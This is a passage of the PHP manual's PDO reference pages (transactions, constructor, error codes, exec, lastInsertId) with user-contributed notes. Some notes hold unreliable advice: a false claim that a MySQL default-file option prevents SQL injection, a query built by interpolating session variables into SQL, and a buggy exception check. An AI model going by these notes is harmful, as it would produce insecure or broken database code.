            $stmt->bindValue(1, $i, PDO::PARAM_INT);
            $stmt->bindValue(2, 'TEST', PDO::PARAM_STR);
            $stmt->execute();
            sleep(1);
        }
        $conn->commit();
        $waiting = false;
    } catch(PDOException $e) {
        if(stripos($e->getMessage(), 'DATABASE IS LOCKED') !== false) {
            // This should be specific to SQLite, sleep for 0.25 seconds
            // and try again.  We do have to commit the open transaction first though
            $conn->commit();
            usleep(250000);
        } else {
            $conn->rollBack();
            throw $e;
        }
    }
}

?>
dbeecher at tekops dot com 20-Aug-2008 09:21
// If you need to set an ISOLATION level or LOCK MODE it needs to be done BEFORE you make the BeginTransaction() call...
//
//  **note** you should always check result codes on operations and do error handling.  This sample code
//  assumes all the calls work so that the order of operations is accurate and easy to see
//
//  THIS IS using the PECL PDO::INFORMIX module, running on fedora core 6, php 5.2.4
//
//    This is the correct way to address an informix -243 error (could not position within table) when there
//    is no ISAM error indicating a table corruption.  A -243 can happen (if the table/indexes, etc., are ok)
//    if a row is locked.  The code below sets the LOCK MODE to wait 2 minutes (120 seconds) before
//    giving up.  In this example you get READ COMMITTED rows, if you don't need read committed
//    but just need to get whatever data is there (ignoring locked rows, etc.) instead of
//    "SET LOCK MODE TO WAIT 120" you could "SET ISOLATION TO DIRTY READ".
//
//    In informix you *must* manage how you do reads because it is very easy to trigger a
//    lock table overflow (which downs the instance) if you have lots of rows, are using joins
//    and have many updates happening.
//

// e.g.,

$sql= "SELECT FIRST 50 * FROM mytable WHERE mystuff=1 ORDER BY myid";                    /* define SQL query */

try                                                                                /* create an exception handler */
    {
    $dbh = new PDO("informix:host=......");

    if ($dbh)    /* did we connect? */
        {
        $dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
        $dbh->query("SET LOCK MODE TO WAIT 120")

        # ----------------
        # open transaction cursor
        # ----------------
        if    ( $dbh->beginTransaction() )                                         # explicitly open cursor
            {
            try    /* open exception handler */
                {
                $stmt = $dbh->prepare($sql, array(PDO::ATTR_CURSOR => PDO::CURSOR_SCROLL));

                $stmt->execute();

                while ($row = $stmt->fetch(PDO::FETCH_NUM, PDO::FETCH_ORI_NEXT))
                    {
                    $data = $row[0] . "\t" . $row[1] . "\t" . $row[2] . "\t" . $row[3] . "\t" . $row[4] . "\t" . $row[5] . "\t" . $row[6] . "\t" . $row[7] . "\n" . $row[8] ;
                    //print $data;
                    print_r($row);
                    };

                $stmt = null;
                }
            catch (PDOException $e)
                {
                print "Query Failed!\n\n";

                print "DBA FAIL:" . $e->getMessage();
                };

            $dbh->rollback();                                                       # abort any changes (ie. $dbh->commit()
            $dbh = null;                                                            # close connection
            }
        else
            {
            # we should never get here, it should go to the exception handler
            print "Unable to establish connection...\n\n";
            };
        };
    }
catch (Exception $e)
    {
    $dbh->rollback();
    echo "Failed: " . $e->getMessage();
    };
brian at diamondsea dot com 25-Mar-2008 07:18
Here is a way of testing that your transaction has started when using MySQL's InnoDB tables.  It will fail if you are using MySQL's MyISAM tables, which do not support transactions but will also not return an error when using them.

<?
// Begin the transaction
$dbh->beginTransaction();

// To verify that a transaction has started, try to create an (illegal for InnoDB) nested transaction.
//    If it works, the first transaction did not start correctly or is unsupported (such as on MyISAM tables)
try {
    $dbh->beginTransaction();
    die('Cancelling, Transaction was not properly started');
} catch (PDOException $e) {
    print "Transaction is running (because trying another one failed)\n";
}
?>
drm at melp dot nl 11-Feb-2008 06:37
In response to "Anonymous / 20-Dec-2007 03:04"

You could also extend the PDO class and hold a private flag to check if a transaction is already started.

class MyPDO extends PDO {
   protected $hasActiveTransaction = false;

   function beginTransaction () {
      if ( $this->hasActiveTransaction ) {
         return false;
      } else {
         $this->hasActiveTransaction = parent::beginTransaction ();
         return $this->hasActiveTransaction;
      }
   }

   function commit () {
      parent::commit ();
      $this->hasActiveTransaction = false;
   }

   function rollback () {
      parent::rollback ();
      $this->hasActiveTransaction = false;
   }

}
Anonymous 20-Dec-2007 07:04
beginTransaction will through a PDOException if you execute it while a PDO transaction is already active.  Additionally the PDO engine doesn't seem to provide any way of determining if there is a transaction "in flight" so if you might be calling a function from within another function that starts a transaction you'll have to wrap the beginTransaction () call in a try .. catch block.
PDO
PDO::commit
PDO


Commits a transaction

PDO::beginTransaction
PDO::__construct
PDO
PHP Manual

PDO::commit

(PHP 5 >= 5.1.0, PECL pdo >= 0.1.0)

PDO::commit — Commits a transaction

Description

bool PDO::commit ( void )

Commits a transaction, returning the database connection to autocommit mode until the next call to PDO::beginTransaction() starts a new transaction.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Commit a transaction

<?php
/* Begin a transaction, turning off autocommit */
$dbh->beginTransaction();

/* Change the database schema */
$sth = $dbh->exec("DROP TABLE fruit");

/* Commit the changes */
$dbh->commit();

/* Database connection is now back in autocommit mode */
?>

See Also

  • PDO::beginTransaction() - Initiates a transaction
  • PDO::rollBack() - Rolls back a transaction
  • Transactions and auto-commit

User Contributed Notes

There are no user contributed notes for this page.
PDO::beginTransaction
PDO::__construct
PDO


Creates a PDO instance representing a connection to a database

PDO::commit
PDO::errorCode
PDO
PHP Manual

PDO::__construct

(PHP 5 >= 5.1.0, PECL pdo >= 0.1.0)

PDO::__construct — Creates a PDO instance representing a connection to a database

Description

PDO::__construct() ( string $dsn [, string $username [, string $password [, array $driver_options ]]] )

Creates a PDO instance to represent a connection to the requested database.

Parameters

dsn

The Data Source Name, or DSN, contains the information required to connect to the database.

In general, a DSN consists of the PDO driver name, followed by a colon, followed by the PDO driver-specific connection syntax. Further information is available from the PDO driver-specific documentation.

The dsn parameter supports three different methods of specifying the arguments required to create a database connection:

Driver invocation

dsn contains the full DSN.

URI invocation

dsn consists of uri: followed by a URI that defines the location of a file containing the DSN string. The URI can specify a local file or a remote URL.

uri:file:///path/to/dsnfile

Aliasing

dsn consists of a name name that maps to pdo.dsn.name in php.ini defining the DSN string.

Note:

The alias must be defined in php.ini, and not .htaccess or httpd.conf

username

The user name for the DSN string. This parameter is optional for some PDO drivers.

password

The password for the DSN string. This parameter is optional for some PDO drivers.

driver_options

A key=>value array of driver-specific connection options.

Return Values

Returns a PDO object on success.

Errors/Exceptions

PDO::__construct() throws a PDOException if the attempt to connect to the requested database fails.

Examples

Example #1 Create a PDO instance via driver invocation

<?php
/* Connect to an ODBC database using driver invocation */
$dsn = 'mysql:dbname=testdb;host=127.0.0.1';
$user = 'dbuser';
$password = 'dbpass';

try {
    $dbh = new PDO($dsn, $user, $password);
} catch (PDOException $e) {
    echo 'Connection failed: ' . $e->getMessage();
}

?>

Example #2 Create a PDO instance via URI invocation

The following example assumes that the file /usr/local/dbconnect exists with file permissions that enable PHP to read the file. The file contains the PDO DSN to connect to a DB2 database through the PDO_ODBC driver:

odbc:DSN=SAMPLE;UID=john;PWD=mypass

The PHP script can then create a database connection by simply passing the uri: parameter and pointing to the file URI:

<?php
/* Connect to an ODBC database using driver invocation */
$dsn = 'uri:file:///usr/local/dbconnect';
$user = '';
$password = '';

try {
    $dbh = new PDO($dsn, $user, $password);
} catch (PDOException $e) {
    echo 'Connection failed: ' . $e->getMessage();
}

?>

Example #3 Create a PDO instance using an alias

The following example assumes that php.ini contains the following entry to enable a connection to a MySQL database using only the alias mydb:

[PDO]
pdo.dsn.mydb="mysql:dbname=testdb;host=localhost"
<?php
/* Connect to an ODBC database using an alias */
$dsn = 'mydb';
$user = '';
$password = '';

try {
    $dbh = new PDO($dsn, $user, $password);
} catch (PDOException $e) {
    echo 'Connection failed: ' . $e->getMessage();
}

?>

User Contributed Notes

piotrekkr at o2 dot pl 15-Sep-2010 12:19
To connect throught unix socket you need to use
<?php
$dsn = 'mysql:dbname=testdb;unix_socket=/path/to/socket';
?>

You musn't specify host when using socket.
Mitsuaki Ishimoto 29-Aug-2010 11:14
You have to use the following option "MYSQL_ATTR_READ_DEFAULT_FILE" to prevent someone from attacking your system by SQL Injection.

<?php
$dsn = 'mysql:host=' . DB_HOST . ';dbname=' . DB_NAME;
$dbh = new PDO(
    $dsn,
    DB_USER,
    DB_PASS,
    array(
        PDO::MYSQL_ATTR_READ_DEFAULT_FILE => '/etc/my.cnf'
    )
);
$dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
?>
Victor T. 20-Feb-2010 09:34
If you use the UTF-8 encoding, you have to use the fourth parameter :

<?php
$db = new PDO('mysql:host=myhost;dbname=mydb', 'login', 'password', array(PDO::MYSQL_ATTR_INIT_COMMAND => 'SET NAMES \'UTF8\''));
?>
subme at interia dot pl 25-Nov-2008 02:03
To specify a database connection port use the following DSN string

<?php
$dsn = 'mysql:dbname=testdb;host=127.0.0.1;port=3333';
?>
PDO::commit
PDO::errorCode
PDO


Fetch the SQLSTATE associated with the last operation on the database handle

PDO::__construct
PDO::errorInfo
PDO
PHP Manual

PDO::errorCode

(PHP 5 >= 5.1.0, PECL pdo >= 0.1.0)

PDO::errorCode — Fetch the SQLSTATE associated with the last operation on the database handle

Description

mixed PDO::errorCode ( void )

Return Values

Returns an SQLSTATE, a five characters alphanumeric identifier defined in the ANSI SQL-92 standard. Briefly, an SQLSTATE consists of a two characters class value followed by a three characters subclass value. A class value of 01 indicates a warning and is accompanied by a return code of SQL_SUCCESS_WITH_INFO. Class values other than '01', except for the class 'IM', indicate an error. The class 'IM' is specific to warnings and errors that derive from the implementation of PDO (or perhaps ODBC, if you're using the ODBC driver) itself. The subclass value '000' in any class indicates that there is no subclass for that SQLSTATE.

PDO::errorCode() only retrieves error codes for operations performed directly on the database handle. If you create a PDOStatement object through PDO::prepare() or PDO::query() and invoke an error on the statement handle, PDO::errorCode() will not reflect that error. You must call PDOStatement::errorCode() to return the error code for an operation performed on a particular statement handle.

Returns NULL if no operation has been run on the database handle.

Examples

Example #1 Retrieving an SQLSTATE code

<?php
/* Provoke an error -- the BONES table does not exist */
$dbh->exec("INSERT INTO bones(skull) VALUES ('lucy')");

echo "\nPDO::errorCode(): ";
print $dbh->errorCode();
?>

The above example will output:

PDO::errorCode(): 42S02

See Also

  • PDO::errorInfo() - Fetch extended error information associated with the last operation on the database handle
  • PDOStatement::errorCode() - Fetch the SQLSTATE associated with the last operation on the statement handle
  • PDOStatement::errorInfo() - Fetch extended error information associated with the last operation on the statement handle

User Contributed Notes

Matthias Leuffen 04-Dec-2005 04:36
Hi,

List containing all SQL-92 SQLSTATE Return Codes:
http://www.unix.org.ua/orelly/java-ent/jenut/ch08_06.htm

Use the following Code to let PDO throw Exceptions (PDOException) on Error.

<?PHP
$pdo = new PDO (whatever);
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
try {
    $pdo->exec ("QUERY WITH SYNTAX ERROR");
} catch (PDOException $e) {
    if ($e->getCode == '2A000')
        echo "Syntax Error: ".$e->getMessage();
}
?>

Bye,
  Matthias
PDO::__construct
PDO::errorInfo
PDO


Fetch extended error information associated with the last operation on the database handle

PDO::errorCode
PDO::exec
PDO
PHP Manual

PDO::errorInfo

(PHP 5 >= 5.1.0, PECL pdo >= 0.1.0)

PDO::errorInfo — Fetch extended error information associated with the last operation on the database handle

Description

array PDO::errorInfo ( void )

Return Values

PDO::errorInfo() returns an array of error information about the last operation performed by this database handle. The array consists of the following fields:

Element | Information
0 | SQLSTATE error code (a five characters alphanumeric identifier defined in the ANSI SQL standard).
1 | Driver-specific error code.
2 | Driver-specific error message.

Note:

If the SQLSTATE error code is not set or there is no driver-specific error, the elements following element 0 will be set to NULL.

PDO::errorInfo() only retrieves error information for operations performed directly on the database handle. If you create a PDOStatement object through PDO::prepare() or PDO::query() and invoke an error on the statement handle, PDO::errorInfo() will not reflect the error from the statement handle. You must call PDOStatement::errorInfo() to return the error information for an operation performed on a particular statement handle.

Examples

Example #1 Displaying errorInfo() fields for a PDO_ODBC connection to a DB2 database

<?php
/* Provoke an error -- bogus SQL syntax */
$stmt = $dbh->prepare('bogus sql');
if (!$stmt) {
    echo "\nPDO::errorInfo():\n";
    print_r($dbh->errorInfo());
}
?>

The above example will output:

PDO::errorInfo():
Array
(
    [0] => HY000
    [1] => 1
    [2] => near "bogus": syntax error
)

See Also

  • PDO::errorCode() - Fetch the SQLSTATE associated with the last operation on the database handle
  • PDOStatement::errorCode() - Fetch the SQLSTATE associated with the last operation on the statement handle
  • PDOStatement::errorInfo() - Fetch extended error information associated with the last operation on the statement handle

User Contributed Notes

alagar86 at gmail dot com 09-Jan-2011 01:29
Please note : that this example won't work if PDO::ATTR_EMULATE_PREPARES is true.

You should set it to false

<?php
$dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES,false);
$stmt = $dbh->prepare('bogus sql');
if (!$stmt) {
    echo "\nPDO::errorInfo():\n";
    print_r($dbh->errorInfo());
}
?>
mazen at mindcraftinc dot com 23-Sep-2008 11:43
Some PDO drivers return a larger array. For example, the SQL Server driver returns 5 values.

For example:
<?php
$numRows = $db->exec("DELETE FROM [TableName] WHERE ID between 6 and 17");
print_r($db->errorInfo());
?>

Result:

Array
(
    [0] => 00000
    [1] => 0
    [2] => (null) [0] (severity 0) []
    [3] => 0
    [4] => 0
)
quickshiftin at gmail dot com 02-Jun-2007 08:29
here are the error codes for sqlite, straight from their site:

The error codes for SQLite version 3 are unchanged from version 2. They are as follows:
#define SQLITE_OK           0   /* Successful result */
#define SQLITE_ERROR        1   /* SQL error or missing database */
#define SQLITE_INTERNAL     2   /* An internal logic error in SQLite */
#define SQLITE_PERM         3   /* Access permission denied */
#define SQLITE_ABORT        4   /* Callback routine requested an abort */
#define SQLITE_BUSY         5   /* The database file is locked */
#define SQLITE_LOCKED       6   /* A table in the database is locked */
#define SQLITE_NOMEM        7   /* A malloc() failed */
#define SQLITE_READONLY     8   /* Attempt to write a readonly database */
#define SQLITE_INTERRUPT    9   /* Operation terminated by sqlite_interrupt() */
#define SQLITE_IOERR       10   /* Some kind of disk I/O error occurred */
#define SQLITE_CORRUPT     11   /* The database disk image is malformed */
#define SQLITE_NOTFOUND    12   /* (Internal Only) Table or record not found */
#define SQLITE_FULL        13   /* Insertion failed because database is full */
#define SQLITE_CANTOPEN    14   /* Unable to open the database file */
#define SQLITE_PROTOCOL    15   /* Database lock protocol error */
#define SQLITE_EMPTY       16   /* (Internal Only) Database table is empty */
#define SQLITE_SCHEMA      17   /* The database schema changed */
#define SQLITE_TOOBIG      18   /* Too much data for one row of a table */
#define SQLITE_CONSTRAINT  19   /* Abort due to contraint violation */
#define SQLITE_MISMATCH    20   /* Data type mismatch */
#define SQLITE_MISUSE      21   /* Library used incorrectly */
#define SQLITE_NOLFS       22   /* Uses OS features not supported on host */
#define SQLITE_AUTH        23   /* Authorization denied */
#define SQLITE_ROW         100  /* sqlite_step() has another row ready */
#define SQLITE_DONE        101  /* sqlite_step() has finished executing */
quickshiftin at gmail dot com 20-Mar-2007 08:43
here is a reference to the ansi error codes
there are several others;
a link to the official spec from ansi would be nice
(have to rebuild this link because its too long to post w/o breaking it up)

http://download-east.oracle.com/docs/
cd/B14117_01/appdev.101/a87540/ch2.htm

~quickshiftin`
Travis Pulley (travis at pulley dot org) 22-Aug-2006 06:29
The example code is incorrect. The line that reads:
$err = $dbh->prepare('SELECT skull FROM bones');

Will set the value of $err to be boolean FALSE.

So, to get a useful error dump change this line:
print_r($err->errorInfo());

to:
print_r($dbh->errorInfo());
PDO::errorCode
PDO::exec
PDO


Execute an SQL statement and return the number of affected rows

PDO::errorInfo
PDO::getAttribute
PDO
PHP Manual

PDO::exec

(PHP 5 >= 5.1.0, PECL pdo >= 0.1.0)

PDO::exec — Execute an SQL statement and return the number of affected rows

Description

int PDO::exec ( string $statement )

PDO::exec() executes an SQL statement in a single function call, returning the number of rows affected by the statement.

PDO::exec() does not return results from a SELECT statement. For a SELECT statement that you only need to issue once during your program, consider issuing PDO::query(). For a statement that you need to issue multiple times, prepare a PDOStatement object with PDO::prepare() and issue the statement with PDOStatement::execute().

Parameters

statement

The SQL statement to prepare and execute.

Data inside the query should be properly escaped.

Return Values

PDO::exec() returns the number of rows that were modified or deleted by the SQL statement you issued. If no rows were affected, PDO::exec() returns 0.

Warning

This function may return Boolean FALSE, but may also return a non-Boolean value which evaluates to FALSE. Please read the section on Booleans for more information. Use the === operator for testing the return value of this function.

The following example incorrectly relies on the return value of PDO::exec(), wherein a statement that affected 0 rows results in a call to die():

<?php
$db->exec() or die(print_r($db->errorInfo(), true));
?>

Examples

Example #1 Issuing a DELETE statement

Count the number of rows deleted by a DELETE statement with no WHERE clause.

<?php
$dbh = new PDO('odbc:sample', 'db2inst1', 'ibmdb2');

/* Delete all rows from the FRUIT table */
$count = $dbh->exec("DELETE FROM fruit WHERE colour = 'red'");

/* Return number of rows that were deleted */
print("Deleted $count rows.\n");
?>

The above example will output:

Deleted 1 rows.

See Also

  • PDO::prepare() - Prepares a statement for execution and returns a statement object
  • PDO::query() - Executes an SQL statement, returning a result set as a PDOStatement object
  • PDOStatement::execute() - Executes a prepared statement

User Contributed Notes

hungry dot rahly at gmail dot com 10-Nov-2010 05:24
For those that want an exec that handles params like prepare/execute does.  You can simulate this with another function

<?php
class Real_PDO extends PDO {
  public function execParams($sql, $params) {
    $stm = $this->prepare($sql);
    $result = false;
    if( $stm && $stm->execute($params) ) {
      $result = $stm->rowCount();
      while( $stm->fetch(PDO::FETCH_ASSOC) ) {
      }
    }
    return $result;
  }
}
?>

Remember though, if you are doing a lot of inserts, you'll want to do it the manual way, as the prepare statement will speed up when doing multiple executes(inserts).  I use this so I can place all my SQL statements in one place, and have auto safe quoting against sql-injections.

If you are wondering about the fetch after, remember some databases can return data SELECT-like data from REMOVE/INSERTS.  In the case of PostgreSQL, you can have it return you all records that were actually removed, or have the insert return the records after the insert/post field functions, and io trigger fire, to give you normalized data.

<?php
define("BLAH_INSERT", "INSERT INTO blah (id,data) VALUES(?,?)");
$pdo = new Real_PDO("connect string");
$data = array("1", "2");
$pdo->execParams(BLAH_INSERT, $data);
?>
Anonymous 01-Sep-2010 08:37
I spent half a day trying to work out why I could not update my sqlite3 database from apache using the PHP PDO driver. I was getting NO error messages at all.

I could connect and select data, but not modify it.

It wasn't until I added the following line:

$dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_WARNING);

after immediately opening the database, that I got a hint of what was happening.

filename: File3
dl_count: 100

( ! ) Warning: PDO::exec() [pdo.exec.html]: SQLSTATE[HY000]: General error: 8 attempt to write a readonly database in /www/htdocs/test/dl-counter/sqlite-readwrite-test.php on line 76
Call Stack
#
Time
Memory
Function
Location
1  0.0086  330120  {main}( )  ../sqlite-readwrite-test.php:0
  2  0.0273  331240  PDO->exec( )  ../sqlite-readwrite-test.php:76

 Affected Rows: ''

filename: File3
dl_count: 100

The problem was with the file permissions. As root I could read and write the database from the sqlite3 command line monitor. But Apache was unable to write the database.

Changed the permissions to 755 wwwrun:wwrun and it all works OK!

Thanks again :)
blah at whatevr dot com 05-Sep-2007 08:07
You can't use it not only with SELECT statement, but any statement that might return rows. "OPTIMIZE table" is such example (returns some rows with optimization status).

If you do, PDO will lock-up with the "Cannot execute queries while other unbuffered queries are active." nonsense.
jon at chem dot umass dot edu 10-May-2007 02:12
If you do this:

<?php
$res = $dbh->query("SELECT * FROM sessions                        WHERE session_id = '$p_sessID'");

$l_records = $res->fetch(PDO::FETCH_ASSOC);

if( $l_records ) {
   // ...update session-data
   $l_theQuery = "UPDATE sessions SET session_expires='$newExp', session_data='$p_sessData' WHERE session_id='$p_sessID'";
   echo $l_theQuery;
   $l_stmt = $this->db->prepare($l_theQuery);

   if ( $l_stmt ) {
      $l_rows = $l_stmt->execute();
   }
}
?>

You will get nothing.

But do this:

<?php
$dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_WARNING);
?>

Prior to the code above, you will get this:

"PDO::prepare(): SQLSTATE[HY000]: General error: 2014 Cannot execute queries while other unbuffered queries are active. Consider using PDOStatement::fetchAll(). Alternatively, if your code is only ever going to run against mysql, you may enable query buffering by setting the PDO::MYSQL_ATTR_USE_BUFFERED_QUERY attribute."

So, instead of fetch(), use fetchAll(), it will make you less insane.

Incidentally, the INSERT statement that I was issuing, if the record that I needed to update didn't yet exist, after the initial fetch() command worked perfectly.

Changing to fetchAll() fixed it.
roberto at spadim dot com dot br 18-Dec-2006 11:47
this function don't execute multi_query
to get it see SQLITE_EXEC comments there is an pereg function that get all queries and execute all then an return the last one
soletan at toxa dot de 29-Aug-2006 01:40
It's worth noting here, that - in addition to the hints given in docs up there - using prepare, bind and execute provides more benefits than multiply querying a statement: performance and security!

If you insert some binary data (e.g. image file) into database using INSERT INTO ... then it may boost performance of parsing your statement since it is kept small (a few bytes, only, while the image may be several MiBytes) and there is no need to escape/quote the file's binary data to become a proper string value.

And, finally and for example, if you want to get a more secure PHP application which isn't affectable by SQL injection attacks you _have to_ consider using prepare/execute on every statement containing data (like INSERTs or SELECTs with WHERE-clauses). Separating the statement code from related data using prepare, bind and execute is best method - fast and secure! You don't even need to escape/quote/format-check any data.
david at acz dot org 09-Feb-2006 04:39
This function cannot be used with any queries that return results.  This includes SELECT, OPTIMIZE TABLE, etc.
PDO::errorInfo
PDO::getAttribute
PDO


Retrieve a database connection attribute

PDO::exec
PDO::getAvailableDrivers
PDO
PHP Manual

PDO::getAttribute

(PHP 5 >= 5.1.0, PECL pdo >= 0.2.0)

PDO::getAttribute — Retrieve a database connection attribute

Description

mixed PDO::getAttribute ( int $attribute )

This function returns the value of a database connection attribute. To retrieve PDOStatement attributes, refer to PDOStatement::getAttribute().

Note that some database/driver combinations may not support all of the database connection attributes.

Parameters

attribute

One of the PDO::ATTR_* constants. The constants that apply to database connections are as follows:

  • PDO::ATTR_AUTOCOMMIT
  • PDO::ATTR_CASE
  • PDO::ATTR_CLIENT_VERSION
  • PDO::ATTR_CONNECTION_STATUS
  • PDO::ATTR_DRIVER_NAME
  • PDO::ATTR_ERRMODE
  • PDO::ATTR_ORACLE_NULLS
  • PDO::ATTR_PERSISTENT
  • PDO::ATTR_PREFETCH
  • PDO::ATTR_SERVER_INFO
  • PDO::ATTR_SERVER_VERSION
  • PDO::ATTR_TIMEOUT

Return Values

A successful call returns the value of the requested PDO attribute. An unsuccessful call returns null.

Examples

Example #1 Retrieving database connection attributes

<?php
$conn = new PDO('odbc:sample', 'db2inst1', 'ibmdb2');
$attributes = array(
    "AUTOCOMMIT", "ERRMODE", "CASE", "CLIENT_VERSION", "CONNECTION_STATUS",
    "ORACLE_NULLS", "PERSISTENT", "PREFETCH", "SERVER_INFO", "SERVER_VERSION",
    "TIMEOUT"
);

foreach ($attributes as $val) {
    echo "PDO::ATTR_$val: ";
    echo $conn->getAttribute(constant("PDO::ATTR_$val")) . "\n";
}
?>

See Also

  • PDO::setAttribute() - Set an attribute
  • PDOStatement::getAttribute() - Retrieve a statement attribute
  • PDOStatement::setAttribute() - Set a statement attribute

User Contributed Notes

peter dot hopfgartner at r3-gis dot com 08-Sep-2009 01:44
The Oracle driver seems to not support PDO::getAttribute():

ociPHP Fatal error:  Uncaught exception 'PDOException' with message 'SQLSTATE[IM001]: Driver does not support this function: driver does not support getting attributes' in ...
Tim 11-Jan-2007 08:20
If you want to retreive the Database type connection you can use the constant:

ATTR_DRIVER_NAME

$pdo_connection->getAttribute(constant("PDO::ATTR_DRIVER_NAME"))

Although i do not know if all drivers support this contant
PDO::exec
PDO::getAvailableDrivers
PDO


Return an array of available PDO drivers

PDO::getAttribute
PDO::inTransaction
PDO
PHP Manual

PDO::getAvailableDrivers

(PHP 5 >= 5.1.3, PECL pdo >= 1.0.3)

PDO::getAvailableDrivers — Return an array of available PDO drivers

Description

array PDO::getAvailableDrivers ( void )
array pdo_drivers ( void )

This function returns all currently available PDO drivers which can be used in DSN parameter of PDO::__construct(). This is a static method.

Return Values

PDO::getAvailableDrivers() returns an array of PDO driver names. If no drivers are available, it returns an empty array.

Examples

Example #1 A PDO::getAvailableDrivers() example

<?php
print_r(PDO::getAvailableDrivers());
?>

The above example will output something similar to:

Array
(
    [0] => mysql
    [1] => sqlite
)

User Contributed Notes

There are no user contributed notes for this page.
PDO::getAttribute
PDO::inTransaction
PDO


Checks if inside a transaction

PDO::getAvailableDrivers
PDO::lastInsertId
PDO
PHP Manual

PDO::inTransaction

(PHP 5 >= 5.3.3, Bundled pdo_pgsql)

PDO::inTransaction — Checks if inside a transaction

Description

bool PDO::inTransaction ( void )

Checks if a transaction is currently active within the driver. This method only works for database drivers that support transactions.

Parameters

This function has no parameters.

Return Values

Returns TRUE if a transaction is currently active, and FALSE if not.

User Contributed Notes

ron korving 13-Jan-2011 09:20
This method actually seems to work fine on PHP5.3.5 (and probably a few older versions).
PDO::getAvailableDrivers
PDO::lastInsertId
PDO


Returns the ID of the last inserted row or sequence value

PDO::inTransaction
PDO::prepare
PDO
PHP Manual

PDO::lastInsertId

(PHP 5 >= 5.1.0, PECL pdo >= 0.1.0)

PDO::lastInsertId — Returns the ID of the last inserted row or sequence value

Description

string PDO::lastInsertId ([ string $name = NULL ] )

Returns the ID of the last inserted row, or the last value from a sequence object, depending on the underlying driver. For example, PDO_PGSQL() requires you to specify the name of a sequence object for the name parameter.

Note:

This method may not return a meaningful or consistent result across different PDO drivers, because the underlying database may not even support the notion of auto-increment fields or sequences.

Parameters

name

Name of the sequence object from which the ID should be returned.

Return Values

If a sequence name was not specified for the name parameter, PDO::lastInsertId() returns a string representing the row ID of the last row that was inserted into the database.

If a sequence name was specified for the name parameter, PDO::lastInsertId() returns a string representing the last value retrieved from the specified sequence object.

If the PDO driver does not support this capability, PDO::lastInsertId() triggers an IM001 SQLSTATE.

User Contributed Notes

warezthebeef at gmail dot com 29-Aug-2011 11:04
If you're accessing MSSQL/SQL Server 2008 R2 (or higher) from Linux via FreeTDS there's a slightly neater way of getting the last insert ID than the solution(s) outlined below.

The specific SQL involved is outlined here:

http://msdn.microsoft.com/en-us/library/ms177564.aspx

So for example, with a table containing the two columns (product_id, product_name) where product_id is a uniqueidentifier or something similar you could do the following.

<?php

// Assume $dbh connection handle is already established

$sql = "INSERT INTO product (product_name) OUTPUT INSERTED.product_id VALUES (?)";

$sth = $dbh->prepare($sql);

$sth->execute(array('widgets'));

$temp = $sth->fetch(PDO::FETCH_ASSOC);

?>

Then $temp will contain an array like:

Array
(
    [product_id] => E1DA1CB0-676A-4CD9-A22C-90C9D4E81914
)

Just be warned that there are some issues relating to how uniqueidentifier columns are handled by PDO_DBLIB/FreeTDS depending on the TDS version you choose that have only been fixed as of PHP 5.3.7.

Information regarding this and the patch can be found here:

https://bugs.php.net/bug.php?id=54167
ruben02 at hotmail dot com 24-Feb-2011 07:48
I think I get a nice solution in Postgres to get the ID using the RETURNING that comes with Postgress since version 8.2. In the example below, I add to my insert clause the "returning" along with the primary key of my table, then after the execute, I do a fetch getting an array with the value of the last inserted id.

<?php
    public function insert($employee){

        $sqlQuery = "INSERT INTO employee(user_id,name,address,city) VALUES(:user_id,:name,:address,:city) RETURNING employee_id";

        $statement = $this->prepare($sqlQuery);

        $a ="2002-03-11 12:01AM" ;

        $statement->bindParam(":user_id", $employee->getUserId(), PDO::PARAM_INT);
        $statement->bindParam(":name", $employee->getName(), PDO::PARAM_STR);
        $statement->bindParam(":address", $employee->getAddress(), PDO::PARAM_STR);
        $statement->bindParam(":city", $employee->getCity(), PDO::PARAM_STR);
        $statement->execute();

        $result = $statement->fetch(PDO::FETCH_ASSOC);
        return $result["employee_id"];

    }
?>
info at nospam dot timreeves dot de 11-Dec-2008 12:03
Workaround for the fact that MSSQL does not provide lastInsertId().  This is locale-independent by design.

<?php
$mixRc = false;
try {
    // Issue a compound command, 2nd part outputs the inserted Id
    $strQuery =
    'INSERT INTO t1 (f1,f2) VALUES(v1,v2); SELECT @@IDENTITY AS mixLastId';
    // Yup, your eyes are ok, NOT exec but query!!!
    $objSth = $objDb->query($strQuery);
    $mixRc = (is_object($objSth) and $objSth->errorCode() == '00000');
}
catch (PDOException $objException) {
    $pdoMsg = $objException->getMessage();
    $pdoMsg = iconv("ISO-8859-1", "UTF-8", $pdoMsg);
    $strMessage = 'insertRecord: Failed ' .
                  $strQuery . ', Error Message: ' . $pdoMsg;
    doLog(__FILE__, __LINE__, $strMessage);
    throw new core_exception_database($strMessage);
}
if ($mixRc === false) return false;

// The compound command delivers a multi-rowset statement handle
// Move past the first (invalid) rowset from the INSERT command
$objSth->nextRowset();
// Pick up the first row of the rowset from "SELECT @@IDENTITY"
$rowTd = $objSth->fetch(PDO::FETCH_NUM);
if (!is_array($rowTd)) {
    doLog(__FILE__, __LINE__,
        'insertRecord: $objSth->fetch() returns %s', gettype($rowTd));
    return false;
}
$objSth->closeCursor();
$strLastRowId = trim($rowTd[0]); // trim() for trailing Nullbyte
// Integers are returned stringified, format depends on locale
// Generally ends with ",00" or ".00" - trim that off
$strLastRowId = preg_replace('/[,.]0+$/', '', $strLastRowId);
// Remove any remaining "." or "," for thousands
$strLastRowId = preg_replace('/[,.]/', '', $strLastRowId);
// A GUID, which contains no "," or ".", will be left unchanged
return $strLastRowId;
?>
espen underscore g at mail dot com 24-Oct-2008 08:08
A better way of doing this in PostgreSQL is using the RETURNING keyword for the INSERT query.

You can use this SQL with the query function, and save a database call:

INSERT INTO tbl_users (firstname, lastname) VALUES ('John', 'Doe') RETURNING user_id;

This is also more accurate in an environment where more than one record might be inserted at the time, or other connections might insert records into the same table.
Alfred Reinold Baudisch 06-Oct-2008 05:21
For PostgreSQL you can still use the old solution to return the last Id of an INSERT, selecting the currval of a table's id_sequence.

The code below shows a working function (which is easy adaptale into another class, etc).

<?php
// -------------------------
// Last Insert ID for PDO with PostgreSQL
// -------------------------
function pgsqlLastInsertId($sqlQuery, $pdoObject)
{
    // Checks if query is an insert and gets table name
